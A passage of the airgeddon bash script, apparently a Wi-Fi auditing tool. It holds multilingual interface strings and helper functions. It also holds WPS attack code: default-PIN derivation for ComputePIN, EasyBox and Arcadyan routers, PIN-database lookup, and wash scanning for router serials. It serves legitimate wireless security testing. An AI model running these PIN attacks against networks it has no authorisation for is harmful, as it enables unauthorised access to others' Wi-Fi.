language_strings_file_mismatch["RUSSIAN"]="Ошибка. Языковой файл не соответствует ожидаемой версии" language_strings_file_mismatch["GREEK"]="Σφάλμα. Το αρχείο γλωσσών που έχει βρεθεί δεν αντιστοιχεί με την προαπαιτούμενη έκδοση" language_strings_file_mismatch["ITALIAN"]="Errore. Il file delle traduzioni trovato non è la versione prevista" language_strings_file_mismatch["POLISH"]="Błąd. Znaleziony plik tłumaczenia nie jest oczekiwaną wersją" language_strings_file_mismatch["GERMAN"]="Fehler. Die gefundene Übersetzungsdatei ist nicht die erwartete Version" language_strings_file_mismatch["TURKISH"]="Hata. Bulunan çeviri dosyası beklenen sürüm değil" language_strings_file_mismatch["ARABIC"]="خطأ. ملف اللغة غيرمتطابق مع الإصدار المتوقع" language_strings_file_mismatch["CHINESE"]="错误。发现语言支持文件与预期版本不匹配" declare -gA language_strings_try_to_download language_strings_try_to_download["ENGLISH"]="airgeddon will try to download the language strings file..." language_strings_try_to_download["SPANISH"]="airgeddon intentará descargar el fichero de traducciones..." language_strings_try_to_download["FRENCH"]="airgeddon va essayer de télécharger les fichiers de traductions..." language_strings_try_to_download["CATALAN"]="airgeddon intentarà descarregar el fitxer de traduccions..." language_strings_try_to_download["PORTUGUESE"]="O airgeddon tentará baixar o arquivo de tradução..." language_strings_try_to_download["RUSSIAN"]="airgeddon попытается загрузить языковой файл..." language_strings_try_to_download["GREEK"]="Το airgeddon θα προσπαθήσει να κατεβάσει το αρχείο γλωσσών..." language_strings_try_to_download["ITALIAN"]="airgeddon cercherá di scaricare il file delle traduzioni..." language_strings_try_to_download["POLISH"]="airgeddon spróbuje pobrać plik tłumaczeń..." language_strings_try_to_download["GERMAN"]="airgeddon wird versuchen, die Übersetzungsdatei herunterzuladen..." language_strings_try_to_download["TURKISH"]="airgeddon çeviri dosyasını indirmeye çalışacak..." language_strings_try_to_download["ARABIC"]="سيحاول airgeddon تنزيل ملف سلاسل اللغة ..." language_strings_try_to_download["CHINESE"]="airgeddon 将尝试下载语言支持文件..." declare -gA language_strings_successfully_downloaded language_strings_successfully_downloaded["ENGLISH"]="Language strings file was successfully downloaded" language_strings_successfully_downloaded["SPANISH"]="Se ha descargado con éxito el fichero de traducciones" language_strings_successfully_downloaded["FRENCH"]="Les fichiers traduction ont été correctement téléchargés" language_strings_successfully_downloaded["CATALAN"]="S'ha descarregat amb èxit el fitxer de traduccions" language_strings_successfully_downloaded["PORTUGUESE"]="O arquivo de tradução foi baixado com sucesso" language_strings_successfully_downloaded["RUSSIAN"]="Языковой файл был успешно загружен" language_strings_successfully_downloaded["GREEK"]="Το αρχείο γλωσσών κατέβηκε με επιτυχία" language_strings_successfully_downloaded["ITALIAN"]="Il file delle traduzioni è stato scaricato con successo" language_strings_successfully_downloaded["POLISH"]="Plik z tłumaczeniem został pomyślnie pobrany" language_strings_successfully_downloaded["GERMAN"]="Die Übersetzungsdatei wurde erfolgreich heruntergeladen" language_strings_successfully_downloaded["TURKISH"]="Çeviri dosyası başarıyla indirildi" language_strings_successfully_downloaded["ARABIC"]="تم تنزيل ملف سلاسل اللغة بنجاح" language_strings_successfully_downloaded["CHINESE"]="语言支持文件已成功下载" declare -gA language_strings_failed_downloading language_strings_failed_downloading["ENGLISH"]="The language string file can't be downloaded. Check your internet connection or download it manually from ${normal_color}${urlgithub}" language_strings_failed_downloading["SPANISH"]="No se ha podido descargar el fichero de traducciones. Comprueba tu conexión a internet o descárgalo manualmente de ${normal_color}${urlgithub}" language_strings_failed_downloading["FRENCH"]="Impossible de télécharger le fichier traduction. Vérifiez votre connexion à internet ou téléchargez le fichier manuellement ${normal_color}${urlgithub}" language_strings_failed_downloading["CATALAN"]="No s'ha pogut descarregar el fitxer de traduccions. Comprova la connexió a internet o descarrega'l manualment de ${normal_color}${urlgithub}" language_strings_failed_downloading["PORTUGUESE"]="Não foi possível baixar o arquivos de tradução. Verifique a sua conexão com a internet ou baixe manualmente em ${normal_color}${urlgithub}" language_strings_failed_downloading["RUSSIAN"]="Языковой файл не может быть загружен. Проверьте подключение к Интернету или загрузите его вручную с ${normal_color}${urlgithub}" language_strings_failed_downloading["GREEK"]="Το αρχείο γλωσσών δεν μπορεί να κατέβει. Ελέγξτε τη σύνδεση σας με το διαδίκτυο ή κατεβάστε το χειροκίνητα ${normal_color}${urlgithub}" language_strings_failed_downloading["ITALIAN"]="Impossibile scaricare il file delle traduzioni. Controlla la tua connessione a internet o scaricalo manualmente ${normal_color}${urlgithub}" language_strings_failed_downloading["POLISH"]="Nie można pobrać pliku tłumaczenia. Sprawdź połączenie internetowe lub pobierz go ręcznie z ${normal_color}${urlgithub}" language_strings_failed_downloading["GERMAN"]="Die Übersetzungsdatei konnte nicht heruntergeladen werden. Überprüfen Sie Ihre Internetverbindung oder laden Sie sie manuell von ${normal_color}${urlgithub} runter" language_strings_failed_downloading["TURKISH"]="Çeviri dosyası indirilemedi. İnternet bağlantınızı kontrol edin veya manuel olarak indirin ${normal_color}${urlgithub}" language_strings_failed_downloading["ARABIC"]="${normal_color}${urlgithub}${red_color} لا يمكن تنزيل ملف اللغة. تحقق من اتصالك بالإنترنت أو قم بتنزيله يدويًا من" language_strings_failed_downloading["CHINESE"]="无法下载语言支持文件。检查您的互联网连接或从 手动下载 ${normal_color}${urlgithub}" declare -gA language_strings_first_time language_strings_first_time["ENGLISH"]="If you are seeing this message after an automatic update, don't be scared! It's probably because airgeddon has different file structure since version 6.1. It will be automatically fixed" language_strings_first_time["SPANISH"]="Si estás viendo este mensaje tras una actualización automática, ¡no te asustes! probablemente es porque a partir de la versión 6.1 la estructura de ficheros de airgeddon ha cambiado. Se reparará automáticamente" language_strings_first_time["FRENCH"]="Si vous voyez ce message après une mise à jour automatique ne vous inquiétez pas! A partir de la version 6.1 la structure de fichier d'airgeddon a changé. L'ajustement se fera automatiquement" language_strings_first_time["CATALAN"]="Si estàs veient aquest missatge després d'una actualització automàtica, no t'espantis! probablement és perquè a partir de la versió 6.1 l'estructura de fitxers de airgeddon ha canviat. Es repararà automàticament" language_strings_first_time["PORTUGUESE"]="Se você está vendo esta mensagem depois de uma atualização automática, não tenha medo! A partir da versão 6.1 da estrutura de arquivos do airgeddon mudou. Isso será corrigido automaticamente" language_strings_first_time["RUSSIAN"]="Если вы видите это сообщение после автоматического обновления, не переживайте! Вероятно, это объясняется тем, что, начиная с версии 6.1, airgeddon имеет другую структуру файлов. Проблема будет разрешена автоматически" language_strings_first_time["GREEK"]="Εάν βλέπετε αυτό το μήνυμα μετά από κάποια αυτόματη ενημέρωση, μην τρομάξετε! Πιθανόν είναι λόγω της διαφορετικής δομής του airgeddon μετά από την έκδοση 6.1. Θα επιδιορθωθεί αυτόματα" language_strings_first_time["ITALIAN"]="Se stai vedendo questo messaggio dopo un aggiornamento automatico, niente panico! probabilmente è perché a partire dalla versione 6.1 é cambiata la struttura dei file di airgeddon. Sarà riparato automaticamente" language_strings_first_time["POLISH"]="Jeśli widzisz tę wiadomość po automatycznej aktualizacji, nie obawiaj się! To prawdopodobnie dlatego, że w wersji 6.1 zmieniła się struktura plików airgeddon. Naprawi się automatycznie" language_strings_first_time["GERMAN"]="Wenn Sie diese Nachricht nach einem automatischen Update sehen, haben Sie keine Angst! Das liegt vermutlich daran, dass ab Version 6.1 die Dateistruktur von airgeddon geändert wurde. Es wird automatisch repariert" language_strings_first_time["TURKISH"]="Otomatik bir güncellemeden sonra bu mesajı görüyorsanız, korkmayın! muhtemelen 6.1 sürümünden itibaren airgeddon dosya yapısı değişmiştir. Otomatik olarak tamir edilecektir" language_strings_first_time["ARABIC"]="إذا كنت ترى هذه الرسالة بعد التحديث التلقائي ، فلا تخف! ربما يرجع السبب في ذلك إلى أن airgeddon له بنية ملفات مختلفة منذ الإصدار 6.1. سيتم إصلاحه تلقائيًا " language_strings_first_time["CHINESE"]="如果您在自动更新后看到此消息,请不要害怕!这可能是因为 airgeddon 从 6.1 版本开始有不同的文件结构。会自动修复" declare -gA language_strings_exiting language_strings_exiting["ENGLISH"]="Exiting airgeddon script v${airgeddon_version} - See you soon! :)" language_strings_exiting["SPANISH"]="Saliendo de airgeddon script v${airgeddon_version} - Nos vemos pronto! :)" language_strings_exiting["FRENCH"]="Fermeture du script airgeddon v${airgeddon_version} - A bientôt! :)" language_strings_exiting["CATALAN"]="Sortint de airgeddon script v${airgeddon_version} - Ens veiem aviat! :)" language_strings_exiting["PORTUGUESE"]="Saindo do script airgeddon v${airgeddon_version} - Até breve! :)" language_strings_exiting["RUSSIAN"]="Выход из скрипта airgeddon v${airgeddon_version} - До встречи! :)" language_strings_exiting["GREEK"]="Κλείσιμο του airgeddon v${airgeddon_version} - Αντίο :)" language_strings_exiting["ITALIAN"]="Uscendo dallo script airgeddon v${airgeddon_version} - A presto! :)" language_strings_exiting["POLISH"]="Wyjście z skryptu airgeddon v${airgeddon_version} - Do zobaczenia wkrótce! :)" language_strings_exiting["GERMAN"]="Sie verlassen airgeddon v${airgeddon_version} - Bis bald! :)" language_strings_exiting["TURKISH"]="airgeddon yazılımından çıkış yapılıyor v${airgeddon_version} - Yakında görüşürüz! :)" language_strings_exiting["ARABIC"]="الخروج من البرنامج airgeddon v${airgeddon_version}- نراكم قريبًا! :)" language_strings_exiting["CHINESE"]="退出 airgeddon 脚本 v${airgeddon_version} - 待会见! :)" declare -gA language_strings_key_to_continue language_strings_key_to_continue["ENGLISH"]="Press [Enter] key to continue..." language_strings_key_to_continue["SPANISH"]="Pulsa la tecla [Enter] para continuar..." language_strings_key_to_continue["FRENCH"]="Pressez [Enter] pour continuer..." language_strings_key_to_continue["CATALAN"]="Prem la tecla [Enter] per continuar..." language_strings_key_to_continue["PORTUGUESE"]="Pressione a tecla [Enter] para continuar..." language_strings_key_to_continue["RUSSIAN"]="Нажмите клавишу [Enter] для продолжения..." language_strings_key_to_continue["GREEK"]="Πατήστε το κουμπί [Enter] για να συνεχίσετε..." language_strings_key_to_continue["ITALIAN"]="Premere il tasto [Enter] per continuare..." language_strings_key_to_continue["POLISH"]="Naciśnij klawisz [Enter] aby kontynuować..." language_strings_key_to_continue["GERMAN"]="Drücken Sie die [Enter]-Taste um fortzufahren..." language_strings_key_to_continue["TURKISH"]="Devam etmek için [Enter] tuşuna basın..." language_strings_key_to_continue["ARABIC"]="اضغط على مفتاح [Enter] للمتابعة ..." language_strings_key_to_continue["CHINESE"]="按 [Enter] 键继续..." } #Generic toggle option function function option_toggle() { debug_print local required_reboot=0 if [[ -n "${2}" ]] && [[ "${2}" = "required_reboot" ]]; then required_reboot=1 fi local option_var_name="${1}" local option_var_value="${!1}" if "${option_var_value:-true}"; then sed -ri "s:(${option_var_name})=(true):\1=false:" "${rc_path}" 2> /dev/null if ! grep "${option_var_name}=false" "${rc_path}" > /dev/null; then return 1 fi if [ "${required_reboot}" -eq 0 ]; then eval "export ${option_var_name}=false" fi else sed -ri "s:(${option_var_name})=(false):\1=true:" "${rc_path}" 2> /dev/null if ! grep "${option_var_name}=true" "${rc_path}" > /dev/null; then return 1 fi if [ "${required_reboot}" -eq 0 ]; then eval "export ${option_var_name}=true" fi fi case "${option_var_name}" in "AIRGEDDON_BASIC_COLORS") remap_colors ;; "AIRGEDDON_EXTENDED_COLORS") initialize_extended_colorized_output ;; "AIRGEDDON_5GHZ_ENABLED") phy_interface=$(physical_interface_finder "${interface}") check_interface_supported_bands "${phy_interface}" "main_wifi_interface" secondary_phy_interface=$(physical_interface_finder "${secondary_wifi_interface}") check_interface_supported_bands "${secondary_phy_interface}" "secondary_wifi_interface" ;; "AIRGEDDON_EVIL_TWIN_SOUNDS") initialize_sounds ;; esac return 0 } #Get current permanent language function get_current_permanent_language() { debug_print current_permanent_language=$(grep "language=" "${scriptfolder}${scriptname}" | grep -v "auto_change_language" | head -n 1 | awk -F "=" '{print $2}') current_permanent_language=$(echo "${current_permanent_language}" | sed -e 's/^"//;s/"$//') } #Set language as permanent function set_permanent_language() { debug_print sed -ri "s:^([l]anguage)=\"[a-zA-Z]+\":\1=\"${language}\":" "${scriptfolder}${scriptname}" 2> /dev/null if ! grep -E "^[l]anguage=\"${language}\"" "${scriptfolder}${scriptname}" > /dev/null; then return 1 fi return 0 } #Print the current line of where this was called and the function's name. Applies to some (which are useful) functions function debug_print() { if "${AIRGEDDON_DEBUG_MODE:-true}"; then declare excluded_functions=( "airmon_fix" "ask_yesno" "check_pending_of_translation" "clean_env_vars" "contains_element" "create_instance_orchestrator_file" "create_rcfile" "echo_blue" "echo_brown" "echo_cyan" "echo_green" "echo_green_title" "echo_pink" "echo_red" "echo_red_slim" "echo_white" "echo_yellow" "env_vars_initialization" "env_vars_values_validation" "fix_autocomplete_chars" "flying_saucer" "generate_dynamic_line" "initialize_colors" "initialize_instance_settings" "initialize_script_settings" "instance_setter" "interrupt_checkpoint" "language_strings" "last_echo" "physical_interface_finder" "print_hint" "print_large_separator" "print_simple_separator" "read_yesno" "register_instance_pid" "remove_warnings" "set_absolute_path" "set_script_paths" "special_text_missed_optional_tool" "store_array" "under_construction_message" ) if (IFS=$'\n'; echo "${excluded_functions[*]}") | grep -qFx "${FUNCNAME[1]}"; then return 1 fi echo "Line:${BASH_LINENO[1]}" "${FUNCNAME[1]}" fi return 0 } #Set the message to show again after an interrupt ([Ctrl+C] or [Ctrl+Z]) without exiting function interrupt_checkpoint() { debug_print if [ -z "${last_buffered_type1}" ]; then last_buffered_message1=${1} last_buffered_message2=${1} last_buffered_type1=${2} last_buffered_type2=${2} else if [[ "${1}" -ne "${resume_message}" ]] 2> /dev/null && [[ "${1}" != "${resume_message}" ]]; then last_buffered_message2=${last_buffered_message1} last_buffered_message1=${1} last_buffered_type2=${last_buffered_type1} last_buffered_type1=${2} fi fi } #Add the text on a menu when you miss an optional tool function special_text_missed_optional_tool() { debug_print declare -a required_tools=("${!3}") allowed_menu_option=1 if ! "${AIRGEDDON_DEVELOPMENT_MODE:-false}"; then tools_needed="${optionaltool_needed[${1}]}" for item in "${required_tools[@]}"; do if [ "${optional_tools[${item}]}" -eq 0 ]; then allowed_menu_option=0 tools_needed+="${item} " fi done fi local message message=$(replace_string_vars "${@}") if [ "${allowed_menu_option}" -eq 1 ]; then last_echo "${message}" "${normal_color}" else [[ ${message} =~ ^([0-9]+)\.(.*)$ ]] && forbidden_options+=("${BASH_REMATCH[1]}") tools_needed=${tools_needed:: -1} echo_red_slim "${message} (${tools_needed})" fi } #Generate the chars in front of and behind a text for titles and separators function generate_dynamic_line() { debug_print local type=${2} if [ "${type}" = "title" ]; then if [[ "${FUNCNAME[2]}" = "main_menu" ]] || [[ "${FUNCNAME[2]}" = "main_menu_override" ]]; then ncharstitle=91 else ncharstitle=78 fi titlechar="*" elif [ "${type}" = "separator" ]; then ncharstitle=58 titlechar="-" fi titletext=${1} titlelength=${#titletext} finaltitle="" for ((i=0; i < (ncharstitle/2 - titlelength+(titlelength/2)); i++)); do finaltitle="${finaltitle}${titlechar}" done if [ "${type}" = "title" ]; then finaltitle="${finaltitle} ${titletext} " elif [ "${type}" = "separator" ]; then finaltitle="${finaltitle} (${titletext}) " fi for ((i=0; i < (ncharstitle/2 - titlelength+(titlelength/2)); i++)); do finaltitle="${finaltitle}${titlechar}" done if [ $((titlelength % 2)) -gt 0 ]; then finaltitle+="${titlechar}" fi if [ "${type}" = "title" ]; then echo_green_title "${finaltitle}" elif [ "${type}" = "separator" ]; then echo_blue "${finaltitle}" fi } #Wrapper to check managed mode on an interface function check_to_set_managed() { debug_print check_interface_mode "${1}" case "${ifacemode}" in "Managed") echo language_strings "${language}" 0 "red" language_strings "${language}" 115 "read" return 1 ;; "(Non wifi adapter)") echo language_strings "${language}" 1 "red" language_strings "${language}" 115 "read" return 1 ;; esac return 0 } #Wrapper to check monitor mode on an interface function check_to_set_monitor() { debug_print check_interface_mode "${1}" case "${ifacemode}" in "Monitor") echo language_strings "${language}" 10 "red" language_strings "${language}" 115 "read" return 1 ;; "(Non wifi adapter)") echo language_strings "${language}" 13 "red" language_strings "${language}" 115 "read" return 1 ;; esac return 0 } #Check for monitor mode on an interface function check_monitor_enabled() { debug_print mode=$(iw "${1}" info 2> /dev/null | grep type | awk '{print $2}') current_iface_on_messages="${1}" if [[ ${mode^} != "Monitor" ]]; then return 1 fi return 0 } #Check if an interface is a Wi-Fi adapter or not function check_interface_wifi() { debug_print iw "${1}" info > /dev/null 2>&1 return $? } #Create a list of interfaces associated to their MAC addresses function renew_ifaces_and_macs_list() { debug_print readarray -t IFACES_AND_MACS < <(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep -E "^lo$" -v | grep "${interface}" -v) declare -gA ifaces_and_macs for iface_name in "${IFACES_AND_MACS[@]}"; do if [ -f "/sys/class/net/${iface_name}/address" ]; then mac_item=$(cat "/sys/class/net/${iface_name}/address" 2> /dev/null) if [ -n "${mac_item}" ]; then ifaces_and_macs[${iface_name}]=${mac_item} fi fi done declare -gA ifaces_and_macs_switched for iface_name in "${!ifaces_and_macs[@]}"; do ifaces_and_macs_switched[${ifaces_and_macs[${iface_name}]}]=${iface_name} done } #Check the interface coherence between interface names and MAC addresses function check_interface_coherence() { debug_print renew_ifaces_and_macs_list interface_auto_change=0 interface_found=0 for iface_name in "${!ifaces_and_macs[@]}"; do if [ "${interface}" = "${iface_name}" ]; then interface_found=1 interface_mac=${ifaces_and_macs[${iface_name}]} break fi done if [ "${interface_found}" -eq 0 ]; then if [ -n "${interface_mac}" ]; then for iface_mac in "${ifaces_and_macs[@]}"; do iface_mac_tmp=${iface_mac:0:15} interface_mac_tmp=${interface_mac:0:15} if [ "${iface_mac_tmp}" = "${interface_mac_tmp}" ]; then interface=${ifaces_and_macs_switched[${iface_mac}]} phy_interface=$(physical_interface_finder "${interface}") check_interface_supported_bands "${phy_interface}" "main_wifi_interface" interface_auto_change=1 break fi done fi fi return ${interface_auto_change} } #Check if an adapter is compatible to airmon function check_airmon_compatibility() { debug_print if [ "${1}" = "interface" ]; then set_chipset "${interface}" "read_only" if iw phy "${phy_interface}" info 2> /dev/null | grep -iq 'interface combinations are not supported'; then interface_airmon_compatible=0 else interface_airmon_compatible=1 fi else set_chipset "${secondary_wifi_interface}" "read_only" if ! iw dev "${secondary_wifi_interface}" set bitrates legacy-2.4 1 > /dev/null 2>&1; then secondary_interface_airmon_compatible=0 else secondary_interface_airmon_compatible=1 fi fi } #Add contributing footer to a file function add_contributing_footer_to_file() { debug_print { echo "" echo "---------------" echo "" echo "${footer_texts[${language},0]}" } >> "${1}" } #Prepare the vars to be used on wps pin database attacks function set_wps_mac_parameters() { debug_print six_wpsbssid_first_digits=${wps_bssid:0:8} six_wpsbssid_first_digits_clean=${six_wpsbssid_first_digits//:} six_wpsbssid_last_digits=${wps_bssid: -8} six_wpsbssid_last_digits_clean=${six_wpsbssid_last_digits//:} four_wpsbssid_last_digits=${wps_bssid: -5} four_wpsbssid_last_digits_clean=${four_wpsbssid_last_digits//:} } #Check if wash has JSON option function check_json_option_on_wash() { debug_print wash -h 2>&1 | grep "\-j" > /dev/null return $? } #Check if wash has dual scan option function check_dual_scan_on_wash() { debug_print wash -h 2>&1 | grep "2ghz" > /dev/null return $? } #Perform wash scan using -j (json) option to gather needed data function wash_json_scan() { debug_print rm -rf "${tmpdir}wps_json_data.txt" > /dev/null 2>&1 rm -rf "${tmpdir}wps_fifo" > /dev/null 2>&1 mkfifo "${tmpdir}wps_fifo" wash_band_modifier="" if [ "${wps_channel}" -gt 14 ]; then if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then echo language_strings "${language}" 515 "red" language_strings "${language}" 115 "read" return 1 else wash_band_modifier="-5" fi fi timeout -s SIGTERM 240 wash -i "${interface}" --scan -n 100 -j "${wash_band_modifier}" 2> /dev/null > "${tmpdir}wps_fifo" & wash_json_pid=$! tee "${tmpdir}wps_json_data.txt"< <(cat < "${tmpdir}wps_fifo") > /dev/null 2>&1 & while true; do sleep 5 wash_json_capture_alive=$(ps uax | awk '{print $2}' | grep -E "^${wash_json_pid}$" 2> /dev/null) if [ -z "${wash_json_capture_alive}" ]; then break fi if grep "${1}" "${tmpdir}wps_json_data.txt" > /dev/null; then serial=$(grep "${1}" "${tmpdir}wps_json_data.txt" | awk -F '"wps_serial" : "' '{print $2}' | awk -F '"' '{print $1}' | sed 's/.*\(....\)/\1/' 2> /dev/null) kill "${wash_json_capture_alive}" &> /dev/null wait "${wash_json_capture_alive}" 2> /dev/null break fi done return 0 } #Calculate pin based on Zhao Chunsheng algorithm (ComputePIN), step 1 function calculate_computepin_algorithm_step1() { debug_print hex_to_dec=$(printf '%d\n' 0x"${six_wpsbssid_last_digits_clean}") 2> /dev/null computepin_pin=$((hex_to_dec % 10000000)) } #Calculate pin based on Zhao Chunsheng algorithm (ComputePIN), step 2 function calculate_computepin_algorithm_step2() { debug_print computepin_pin=$(printf '%08d\n' $((10#${computepin_pin} * 10 + checksum_digit))) } #Calculate pin based on Stefan Viehböck algorithm (EasyBox) #shellcheck disable=SC2207 function calculate_easybox_algorithm() { debug_print hex_to_dec=($(printf "%04d" "0x${four_wpsbssid_last_digits_clean}" | sed 's/.*\(....\)/\1/;s/./& /g')) [[ ${four_wpsbssid_last_digits_clean} =~ ${four_wpsbssid_last_digits_clean//?/(.)} ]] && hexi=($(printf '%s\n' "${BASH_REMATCH[*]:1}")) c1=$(printf "%d + %d + %d + %d" "${hex_to_dec[0]}" "${hex_to_dec[1]}" "0x${hexi[2]}" "0x${hexi[3]}") c2=$(printf "%d + %d + %d + %d" "0x${hexi[0]}" "0x${hexi[1]}" "${hex_to_dec[2]}" "${hex_to_dec[3]}") K1=$((c1 % 16)) K2=$((c2 % 16)) X1=$((K1 ^ hex_to_dec[3])) X2=$((K1 ^ hex_to_dec[2])) X3=$((K1 ^ hex_to_dec[1])) Y1=$((K2 ^ 0x${hexi[1]})) Y2=$((K2 ^ 0x${hexi[2]})) Z1=$((0x${hexi[2]} ^ hex_to_dec[3])) Z2=$((0x${hexi[3]} ^ hex_to_dec[2])) easybox_pin=$(printf '%08d\n' "$((0x$X1$X2$Y1$Y2$Z1$Z2$X3))" | awk '{for(i=length; i!=0; i--) x=x substr($0, i, 1);} END {print x}' | cut -c -7 | awk '{for(i=length; i!=0; i--) x=x substr($0, i, 1);} END {print x}') } #Calculate pin based on Arcadyan algorithm function calculate_arcadyan_algorithm() { debug_print local wan="" if [ "${four_wpsbssid_last_digits_clean}" = "0000" ]; then wan="fffe" elif [ "${four_wpsbssid_last_digits_clean}" = "0001" ]; then wan="ffff" else wan=$(printf "%04x" $((0x${four_wpsbssid_last_digits_clean} - 2))) fi K1=$(printf "%X\n" $(($((0x${serial:0:1} + 0x${serial:1:1} + 0x${wan:2:1} + 0x${wan:3:1})) % 16))) K2=$(printf "%X\n" $(($((0x${serial:2:1} + 0x${serial:3:1} + 0x${wan:0:1} + 0x${wan:1:1})) % 16))) D1=$(printf "%X\n" $((0x$K1 ^ 0x${serial:3:1}))) D2=$(printf "%X\n" $((0x$K1 ^ 0x${serial:2:1}))) D3=$(printf "%X\n" $((0x$K2 ^ 0x${wan:1:1}))) D4=$(printf "%X\n" $((0x$K2 ^ 0x${wan:2:1}))) D5=$(printf "%X\n" $((0x${serial:3:1} ^ 0x${wan:2:1}))) D6=$(printf "%X\n" $((0x${serial:2:1} ^ 0x${wan:3:1}))) D7=$(printf "%X\n" $((0x$K1 ^ 0x${serial:1:1}))) arcadyan_pin=$(printf '%07d\n' $(($(printf '%d\n' "0x$D1$D2$D3$D4$D5$D6$D7") % 10000000))) } #Calculate the last digit on pin following the checksum rule function pin_checksum_rule() { debug_print current_calculated_pin=$((10#${1} * 10)) accum=0 accum=$((accum + 3 * (current_calculated_pin/10000000 % 10))) accum=$((accum + current_calculated_pin/1000000 % 10)) accum=$((accum + 3 * (current_calculated_pin/100000 % 10))) accum=$((accum + current_calculated_pin/10000 % 10)) accum=$((accum + 3 * (current_calculated_pin/1000 % 10))) accum=$((accum + current_calculated_pin/100 % 10)) accum=$((accum + 3 * (current_calculated_pin/10 % 10))) control_digit=$((accum % 10)) checksum_digit=$((10 - control_digit)) checksum_digit=$((checksum_digit % 10)) } #Manage the calls to check common wps pin algorithms function check_and_set_common_algorithms() { debug_print echo language_strings "${language}" 388 "blue" declare -g calculated_pins=("${wps_default_generic_pin}") if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "ComputePIN"; then calculate_computepin_algorithm_step1 pin_checksum_rule "${computepin_pin}" calculate_computepin_algorithm_step2 calculated_pins+=("${computepin_pin}") fill_wps_data_array "${wps_bssid}" "ComputePIN" "${computepin_pin}" else calculated_pins+=("${wps_data_array["${wps_bssid}",'ComputePIN']}") fi if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "EasyBox"; then calculate_easybox_algorithm pin_checksum_rule "${easybox_pin}" easybox_pin=$(printf '%08d\n' $((current_calculated_pin + checksum_digit))) calculated_pins+=("${easybox_pin}") fill_wps_data_array "${wps_bssid}" "EasyBox" "${easybox_pin}" else calculated_pins+=("${wps_data_array["${wps_bssid}",'EasyBox']}") fi if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "Arcadyan"; then able_to_check_json_option_on_wash=0 if [ "${wps_attack}" = "pindb_bully" ]; then if hash wash 2> /dev/null; then able_to_check_json_option_on_wash=1 else echo language_strings "${language}" 492 "yellow" echo fi elif [ "${wps_attack}" = "pindb_reaver" ]; then able_to_check_json_option_on_wash=1 fi if [ "${able_to_check_json_option_on_wash}" -eq 1 ]; then if check_json_option_on_wash; then ask_yesno 485 "no" if [ "${yesno}" = "y" ]; then echo language_strings "${language}" 489 "blue" serial="" if wash_json_scan "${wps_bssid}"; then if [ -n "${serial}" ]; then if [[ "${serial}" =~ ^[0-9]{4}$ ]]; then calculate_arcadyan_algorithm pin_checksum_rule "${arcadyan_pin}" arcadyan_pin="${arcadyan_pin}${checksum_digit}" calculated_pins=("${arcadyan_pin}" "${calculated_pins[@]}") fill_wps_data_array "${wps_bssid}" "Arcadyan" "${arcadyan_pin}" echo language_strings "${language}" 487 "yellow" else echo language_strings "${language}" 491 "yellow" fi echo else echo language_strings "${language}" 488 "yellow" echo fi fi fi else echo language_strings "${language}" 486 "yellow" fi fi else echo calculated_pins=("${wps_data_array["${wps_bssid}",'Arcadyan']}" "${calculated_pins[@]}") language_strings "${language}" 493 "yellow" echo fi if integrate_algorithms_pins; then language_strings "${language}" 389 "yellow" fi } #Integrate calculated pins from algorithms into pins array function integrate_algorithms_pins() { debug_print some_calculated_pin_included=0 for ((idx=${#calculated_pins[@]}-1; idx>=0; idx--)) ; do this_pin_already_included=0 for item in "${pins_found[@]}"; do if [ "${item}" = "${calculated_pins[idx]}" ]; then this_pin_already_included=1 break fi done if [ "${this_pin_already_included}" -eq 0 ]; then pins_found=("${calculated_pins[idx]}" "${pins_found[@]}") counter_pins_found=$((counter_pins_found + 1)) some_calculated_pin_included=1 fi done if [ "${some_calculated_pin_included}" -eq 1 ]; then return 0 fi return 1 } #Search for target wps bssid MAC address in pin database and set the vars to be used #shellcheck disable=SC2128 function search_in_pin_database() { debug_print bssid_found_in_db=0 counter_pins_found=0 declare -g pins_found=() for item in "${!PINDB[@]}"; do if [ "${item}" = "${six_wpsbssid_first_digits_clean}" ]; then bssid_found_in_db=1 arrpins=("${PINDB[${item//[[:space:]]/ }]}") pins_found+=("${arrpins[0]}") counter_pins_found=$(echo "${pins_found[@]}" | wc -w) fill_wps_data_array "${wps_bssid}" "Database" "${pins_found}" fi done } #Handler for multiple busy port checkings function check_busy_ports() { debug_print IFS=' ' read -r -a tcp_ports <<< "${ports_needed["tcp"]}" IFS=' ' read -r -a udp_ports <<< "${ports_needed["udp"]}" if [[ -n "${tcp_ports[*]}" ]] && [[ "${#tcp_ports[@]}" -ge 1 ]]; then port_type="tcp" for tcp_port in "${tcp_ports[@]}"; do if ! check_tcp_udp_port "${tcp_port}" "${port_type}" "${interface}"; then busy_port="${tcp_port}" find_process_name_by_port "${tcp_port}" "${port_type}" echo language_strings "${language}" 698 "red" language_strings "${language}" 115 "read" return 1 fi done fi if [[ -n "${udp_ports[*]}" ]] && [[ "${#udp_ports[@]}" -ge 1 ]]; then port_type="udp" for udp_port in "${udp_ports[@]}"; do if ! check_tcp_udp_port "${udp_port}" "${port_type}" "${interface}"; then busy_port="${udp_port}" find_process_name_by_port "${udp_port}" "${port_type}" echo language_strings "${language}" 698 "red" language_strings "${language}" 115 "read" return 1 fi done fi return 0 } #Validate if a given tcp/udp port is busy on the given interface #shellcheck disable=SC2207 function check_tcp_udp_port() { debug_print local port local port_type port=$(printf "%04x" "${1}") port_type="${2}" local network_interface local ip_address local hex_ip_address network_interface="${3}" ip_address=$(ip -4 -o addr show "${network_interface}" 2> /dev/null | awk '{print $4}' | cut -d "/" -f 1) if [ -n "${ip_address}" ]; then hex_ip_address=$(ip_dec_to_hex "${ip_address}") else hex_ip_address="" fi declare -a busy_ports=($(awk -v iplist="${hex_ip_address},00000000" 'BEGIN {split(iplist,a,","); for (i in a) ips[a[i]]} /local_address/ {next} {split($2,a,":"); if (a[1] in ips) ports[a[2] $4]} END {for (port in ports) print port}' "/proc/net/${port_type}" "/proc/net/${port_type}6")) for hexport in "${busy_ports[@]}"; do if [[ "${port_type}" == "tcp" || "${port_type}" == "tcp6" ]]; then if [ "${hexport}" = "${port}0A" ]; then return 1 fi else if [[ "${hexport}" = "${port}07" ]] && [[ "${port}" != "0043" ]]; then return 1 fi fi done return 0 } #Find process name from a given port function find_process_name_by_port() { debug_print local port port="${1}" local port_type port_type="${2}" local regexp_part1 local regexp_part2 regexp_part1="${port_type}\h.*?[0-9A-Za-z%\*]:${port}" 